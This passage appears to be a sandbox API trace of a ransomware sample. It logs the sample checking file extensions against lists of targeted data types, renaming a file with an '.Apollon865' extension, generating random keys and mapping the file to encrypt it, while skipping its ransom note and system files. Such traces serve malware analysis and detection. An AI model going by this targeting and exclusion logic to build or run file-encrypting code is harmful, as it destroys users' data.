	[0063.989] lstrlenW (lpString="myd") returned 3
	[0063.989] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0063.990] lstrlenW (lpString="ndf") returned 3
	[0063.990] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0063.990] lstrlenW (lpString="nnt") returned 3
	[0063.990] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0063.990] lstrlenW (lpString="nrmlib") returned 6
	[0063.990] lstrcmpiW (lpString1="b1.cab", lpString2="nrmlib") returned -1
	[0063.990] lstrlenW (lpString="ns2") returned 3
	[0063.990] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0063.990] lstrlenW (lpString="ns3") returned 3
	[0063.990] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0063.990] lstrlenW (lpString="ns4") returned 3
	[0063.990] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0063.990] lstrlenW (lpString="nsf") returned 3
	[0063.990] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0063.990] lstrlenW (lpString="nv") returned 2
	[0063.990] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0063.990] lstrlenW (lpString="nv2") returned 3
	[0063.990] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0063.990] lstrlenW (lpString="nwdb") returned 4
	[0063.990] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0063.990] lstrlenW (lpString="nyf") returned 3
	[0063.990] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0063.990] lstrlenW (lpString="odb") returned 3
	[0063.990] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0063.990] lstrlenW (lpString="odb") returned 3
	[0063.990] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0063.990] lstrlenW (lpString="oqy") returned 3
	[0063.990] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0063.990] lstrlenW (lpString="ora") returned 3
	[0063.990] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0063.990] lstrlenW (lpString="orx") returned 3
	[0063.990] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0063.990] lstrlenW (lpString="owc") returned 3
	[0063.991] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0063.991] lstrlenW (lpString="p96") returned 3
	[0063.991] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0063.991] lstrlenW (lpString="p97") returned 3
	[0063.991] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0063.991] lstrlenW (lpString="pan") returned 3
	[0063.991] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0063.991] lstrlenW (lpString="pdb") returned 3
	[0063.991] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0063.991] lstrlenW (lpString="pdm") returned 3
	[0063.991] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0063.991] lstrlenW (lpString="pnz") returned 3
	[0063.991] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0063.991] lstrlenW (lpString="qry") returned 3
	[0063.991] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0063.991] lstrlenW (lpString="qvd") returned 3
	[0063.991] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0063.991] lstrlenW (lpString="rbf") returned 3
	[0063.991] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0063.991] lstrlenW (lpString="rctd") returned 4
	[0063.991] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0063.991] lstrlenW (lpString="rod") returned 3
	[0063.991] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
	[0063.991] lstrlenW (lpString="rodx") returned 4
	[0063.991] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0063.991] lstrlenW (lpString="rpd") returned 3
	[0063.991] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0063.991] lstrlenW (lpString="rsd") returned 3
	[0063.991] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0063.991] lstrlenW (lpString="sas7bdat") returned 8
	[0063.991] lstrlenW (lpString="sbf") returned 3
	[0063.991] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0063.991] lstrlenW (lpString="scx") returned 3
	[0063.992] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0063.992] lstrlenW (lpString="sdb") returned 3
	[0063.992] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0063.992] lstrlenW (lpString="sdc") returned 3
	[0063.992] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0063.992] lstrlenW (lpString="sdf") returned 3
	[0063.992] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0063.992] lstrlenW (lpString="sis") returned 3
	[0063.992] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0063.992] lstrlenW (lpString="spq") returned 3
	[0063.992] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0063.992] lstrlenW (lpString="te") returned 2
	[0063.992] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0063.992] lstrlenW (lpString="teacher") returned 7
	[0063.992] lstrcmpiW (lpString1="ab1.cab", lpString2="teacher") returned -1
	[0063.992] lstrlenW (lpString="tmd") returned 3
	[0063.992] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0063.992] lstrlenW (lpString="tps") returned 3
	[0063.992] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0063.992] lstrlenW (lpString="trc") returned 3
	[0063.992] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0063.992] lstrlenW (lpString="trc") returned 3
	[0063.992] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0063.992] lstrlenW (lpString="trm") returned 3
	[0063.992] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0063.992] lstrlenW (lpString="udb") returned 3
	[0063.992] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0063.992] lstrlenW (lpString="udl") returned 3
	[0063.992] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0063.992] lstrlenW (lpString="usr") returned 3
	[0063.993] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0063.993] lstrlenW (lpString="v12") returned 3
	[0063.993] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0063.993] lstrlenW (lpString="vis") returned 3
	[0063.993] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0063.993] lstrlenW (lpString="vpd") returned 3
	[0063.993] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0063.993] lstrlenW (lpString="vvv") returned 3
	[0063.993] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0063.993] lstrlenW (lpString="wdb") returned 3
	[0063.993] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0063.993] lstrlenW (lpString="wmdb") returned 4
	[0063.993] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0063.993] lstrlenW (lpString="wrk") returned 3
	[0063.993] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0063.993] lstrlenW (lpString="xdb") returned 3
	[0063.993] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0063.993] lstrlenW (lpString="xld") returned 3
	[0063.993] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0063.993] lstrlenW (lpString="xmlff") returned 5
	[0063.993] lstrcmpiW (lpString1="1.cab", lpString2="xmlff") returned -1
	[0063.993] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.Apollon865") returned 138
	[0063.993] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab.apollon865"), dwFlags=0x1) returned 1
	[0063.996] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0063.996] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=5881317) returned 1
	[0063.996] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0063.997] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0063.997] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0063.997] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0063.998] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0063.998] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.998] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x59c0f0, lpName=0x0) returned 0x150
	[0063.999] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0x19c0f0) returned 0x3480000
	[0064.419] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0064.420] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0064.420] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0064.420] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0064.420] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0064.420] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0064.420] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0064.421] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0064.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0064.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0064.421] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0064.421] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0064.421] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0064.421] UnmapViewOfFile (lpBaseAddress=0x3480000) returned 1
	[0064.441] CloseHandle (hObject=0x150) returned 1
	[0064.442] CloseHandle (hObject=0x154) returned 1
	[0064.442] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0064.444] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0064.446] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0064.460] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f4237d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f4237d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0064.462] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0064.464] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36fed00, ftCreationTime.dwHighDateTime=0x1d28825, ftLastAccessTime.dwLowDateTime=0x36fed00, ftLastAccessTime.dwHighDateTime=0x1d28825, ftLastWriteTime.dwLowDateTime=0x36fed00, ftLastWriteTime.dwHighDateTime=0x1d28825, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0064.465] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0064.466] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="Apollon865.txt.exe") returned 1
	[0064.467] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".") returned 1
	[0064.467] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="..") returned 1
	[0064.467] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="windows") returned -1
	[0064.470] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="bootmgr") returned 1
	[0064.470] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="temp") returned 1
	[0064.472] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="pagefile.sys") returned 1
	[0064.473] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="boot") returned 1
	[0064.474] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="ids.txt") returned 1
	[0064.474] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="ntuser.dat") returned 1
	[0064.475] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="perflogs") returned 1
	[0064.477] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="MSBuild") returned 1
	[0064.477] lstrlenW (lpString="vc_runtimeAdditional_x64.msi") returned 28
	[0064.478] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 127
	[0064.478] lstrcpyW (in: lpString1=0x119e6f6, lpString2="vc_runtimeAdditional_x64.msi" | out: lpString1="vc_runtimeAdditional_x64.msi") returned="vc_runtimeAdditional_x64.msi"
	[0064.479] lstrlenW (lpString="vc_runtimeAdditional_x64.msi") returned 28
	[0064.479] lstrlenW (lpString="Apollon865") returned 10
	[0064.480] lstrcmpiW (lpString1="al_x64.msi", lpString2="Apollon865") returned -1
	[0064.484] lstrlenW (lpString=".dll") returned 4
	[0064.485] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".dll") returned 1
	[0064.485] lstrlenW (lpString=".lnk") returned 4
	[0064.485] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".lnk") returned 1
	[0064.485] lstrlenW (lpString=".ini") returned 4
	[0064.486] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".ini") returned 1
	[0064.487] lstrlenW (lpString=".sys") returned 4
	[0064.487] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".sys") returned 1
	[0064.488] lstrlenW (lpString="vc_runtimeAdditional_x64.msi") returned 28
	[0064.489] lstrlenW (lpString="bak") returned 3
	[0064.489] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0064.490] lstrlenW (lpString="ba_") returned 3
	[0064.490] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0064.490] lstrlenW (lpString="dbb") returned 3
	[0064.507] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0064.507] lstrlenW (lpString="vmdk") returned 4
	[0064.507] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0064.507] lstrlenW (lpString="rar") returned 3
	[0064.507] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0064.507] lstrlenW (lpString="zip") returned 3
	[0064.507] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0064.507] lstrlenW (lpString="tgz") returned 3
	[0064.507] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0064.507] lstrlenW (lpString="vbox") returned 4
	[0064.507] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0064.507] lstrlenW (lpString="vdi") returned 3
	[0064.507] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0064.507] lstrlenW (lpString="vhd") returned 3
	[0064.507] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0064.507] lstrlenW (lpString="vhdx") returned 4
	[0064.507] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0064.507] lstrlenW (lpString="avhd") returned 4
	[0064.507] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0064.507] lstrlenW (lpString="db") returned 2
	[0064.507] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0064.507] lstrlenW (lpString="db2") returned 3
	[0064.507] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0064.507] lstrlenW (lpString="db3") returned 3
	[0064.507] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0064.507] lstrlenW (lpString="dbf") returned 3
	[0064.507] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0064.507] lstrlenW (lpString="mdf") returned 3
	[0064.507] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0064.507] lstrlenW (lpString="mdb") returned 3
	[0064.507] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0064.508] lstrlenW (lpString="sql") returned 3
	[0064.508] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0064.508] lstrlenW (lpString="sqlite") returned 6
	[0064.508] lstrcmpiW (lpString1="64.msi", lpString2="sqlite") returned -1
	[0064.508] lstrlenW (lpString="sqlite3") returned 7
	[0064.508] lstrcmpiW (lpString1="x64.msi", lpString2="sqlite3") returned 1
	[0064.508] lstrlenW (lpString="sqlitedb") returned 8
	[0064.508] lstrcmpiW (lpString1="_x64.msi", lpString2="sqlitedb") returned -1
	[0064.508] lstrlenW (lpString="xml") returned 3
	[0064.508] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0064.508] lstrlenW (lpString="$er") returned 3
	[0064.508] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0064.508] lstrlenW (lpString="4dd") returned 3
	[0064.508] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0064.508] lstrlenW (lpString="4dl") returned 3
	[0064.508] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0064.508] lstrlenW (lpString="^^^") returned 3
	[0064.508] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0064.508] lstrlenW (lpString="abs") returned 3
	[0064.508] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0064.508] lstrlenW (lpString="abx") returned 3
	[0064.508] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0064.508] lstrlenW (lpString="accdb") returned 5
	[0064.508] lstrcmpiW (lpString1="4.msi", lpString2="accdb") returned -1
	[0064.508] lstrlenW (lpString="accdc") returned 5
	[0064.508] lstrcmpiW (lpString1="4.msi", lpString2="accdc") returned -1
	[0064.508] lstrlenW (lpString="accde") returned 5
	[0064.508] lstrcmpiW (lpString1="4.msi", lpString2="accde") returned -1
	[0064.508] lstrlenW (lpString="accdr") returned 5
	[0064.508] lstrcmpiW (lpString1="4.msi", lpString2="accdr") returned -1
	[0064.508] lstrlenW (lpString="accdt") returned 5
	[0064.508] lstrcmpiW (lpString1="4.msi", lpString2="accdt") returned -1
	[0064.508] lstrlenW (lpString="accdw") returned 5
	[0064.508] lstrcmpiW (lpString1="4.msi", lpString2="accdw") returned -1
	[0064.508] lstrlenW (lpString="accft") returned 5
	[0064.508] lstrcmpiW (lpString1="4.msi", lpString2="accft") returned -1
	[0064.509] lstrlenW (lpString="adb") returned 3
	[0064.509] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0064.509] lstrlenW (lpString="adb") returned 3
	[0064.509] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0064.509] lstrlenW (lpString="ade") returned 3
	[0064.509] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0064.509] lstrlenW (lpString="adf") returned 3
	[0064.509] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0064.509] lstrlenW (lpString="adn") returned 3
	[0064.509] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0064.509] lstrlenW (lpString="adp") returned 3
	[0064.509] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0064.509] lstrlenW (lpString="alf") returned 3
	[0064.509] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0064.509] lstrlenW (lpString="ask") returned 3
	[0064.509] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0064.509] lstrlenW (lpString="btr") returned 3
	[0064.509] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0064.509] lstrlenW (lpString="cat") returned 3
	[0064.509] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0064.509] lstrlenW (lpString="cdb") returned 3
	[0064.509] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0064.509] lstrlenW (lpString="ckp") returned 3
	[0064.509] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0064.509] lstrlenW (lpString="cma") returned 3
	[0064.509] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0064.509] lstrlenW (lpString="cpd") returned 3
	[0064.509] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0064.509] lstrlenW (lpString="dacpac") returned 6
	[0064.509] lstrcmpiW (lpString1="64.msi", lpString2="dacpac") returned -1
	[0064.509] lstrlenW (lpString="dad") returned 3
	[0064.509] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0064.509] lstrlenW (lpString="dadiagrams") returned 10
	[0064.509] lstrcmpiW (lpString1="al_x64.msi", lpString2="dadiagrams") returned -1
	[0064.510] lstrlenW (lpString="daschema") returned 8
	[0064.510] lstrcmpiW (lpString1="_x64.msi", lpString2="daschema") returned -1
	[0064.510] lstrlenW (lpString="db-journal") returned 10
	[0064.510] lstrcmpiW (lpString1="al_x64.msi", lpString2="db-journal") returned -1
	[0064.510] lstrlenW (lpString="db-shm") returned 6
	[0064.510] lstrcmpiW (lpString1="64.msi", lpString2="db-shm") returned -1
	[0064.510] lstrlenW (lpString="db-wal") returned 6
	[0064.510] lstrcmpiW (lpString1="64.msi", lpString2="db-wal") returned -1
	[0064.510] lstrlenW (lpString="dbc") returned 3
	[0064.510] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0064.510] lstrlenW (lpString="dbs") returned 3
	[0064.510] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0064.510] lstrlenW (lpString="dbt") returned 3
	[0064.510] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0064.510] lstrlenW (lpString="dbv") returned 3
	[0064.510] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0064.510] lstrlenW (lpString="dbx") returned 3
	[0064.510] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0064.510] lstrlenW (lpString="dcb") returned 3
	[0064.510] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0064.510] lstrlenW (lpString="dct") returned 3
	[0064.510] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0064.510] lstrlenW (lpString="dcx") returned 3
	[0064.510] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0064.510] lstrlenW (lpString="ddl") returned 3
	[0064.510] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0064.510] lstrlenW (lpString="dlis") returned 4
	[0064.510] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0064.510] lstrlenW (lpString="dp1") returned 3
	[0064.510] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0064.510] lstrlenW (lpString="dqy") returned 3
	[0064.510] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1
	[0064.510] lstrlenW (lpString="dsk") returned 3
	[0064.510] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1
	[0064.511] lstrlenW (lpString="dsn") returned 3
	[0064.511] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1
	[0064.511] lstrlenW (lpString="dtsx") returned 4
	[0064.511] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1
	[0064.511] lstrlenW (lpString="dxl") returned 3
	[0064.511] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1
	[0064.511] lstrlenW (lpString="eco") returned 3
	[0064.511] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1
	[0064.511] lstrlenW (lpString="ecx") returned 3
	[0064.511] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1
	[0064.511] lstrlenW (lpString="edb") returned 3
	[0064.511] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1
	[0064.511] lstrlenW (lpString="epim") returned 4
	[0064.511] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1
	[0064.511] lstrlenW (lpString="fcd") returned 3
	[0064.511] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1
	[0064.511] lstrlenW (lpString="fdb") returned 3
	[0064.511] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1
	[0064.511] lstrlenW (lpString="fic") returned 3
	[0064.511] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1
	[0064.511] lstrlenW (lpString="flexolibrary") returned 12
	[0064.511] lstrcmpiW (lpString1="onal_x64.msi", lpString2="flexolibrary") returned 1
	[0064.511] lstrlenW (lpString="fm5") returned 3
	[0064.511] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1
	[0064.511] lstrlenW (lpString="fmp") returned 3
	[0064.511] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1
	[0064.511] lstrlenW (lpString="fmp12") returned 5
	[0064.511] lstrcmpiW (lpString1="4.msi", lpString2="fmp12") returned -1
	[0064.511] lstrlenW (lpString="fmpsl") returned 5
	[0064.511] lstrcmpiW (lpString1="4.msi", lpString2="fmpsl") returned -1
	[0064.511] lstrlenW (lpString="fol") returned 3
	[0064.511] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1
	[0064.511] lstrlenW (lpString="fp3") returned 3
	[0064.511] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1
	[0064.511] lstrlenW (lpString="fp4") returned 3
	[0064.512] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1
	[0064.512] lstrlenW (lpString="fp5") returned 3
	[0064.512] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1
	[0064.512] lstrlenW (lpString="fp7") returned 3
	[0064.512] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1
	[0064.512] lstrlenW (lpString="fpt") returned 3
	[0064.512] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1
	[0064.512] lstrlenW (lpString="frm") returned 3
	[0064.512] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1
	[0064.512] lstrlenW (lpString="gdb") returned 3
	[0064.512] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0064.512] lstrlenW (lpString="gdb") returned 3
	[0064.512] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0064.512] lstrlenW (lpString="grdb") returned 4
	[0064.512] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1
	[0064.512] lstrlenW (lpString="gwi") returned 3
	[0064.512] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1
	[0064.512] lstrlenW (lpString="hdb") returned 3
	[0064.512] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1
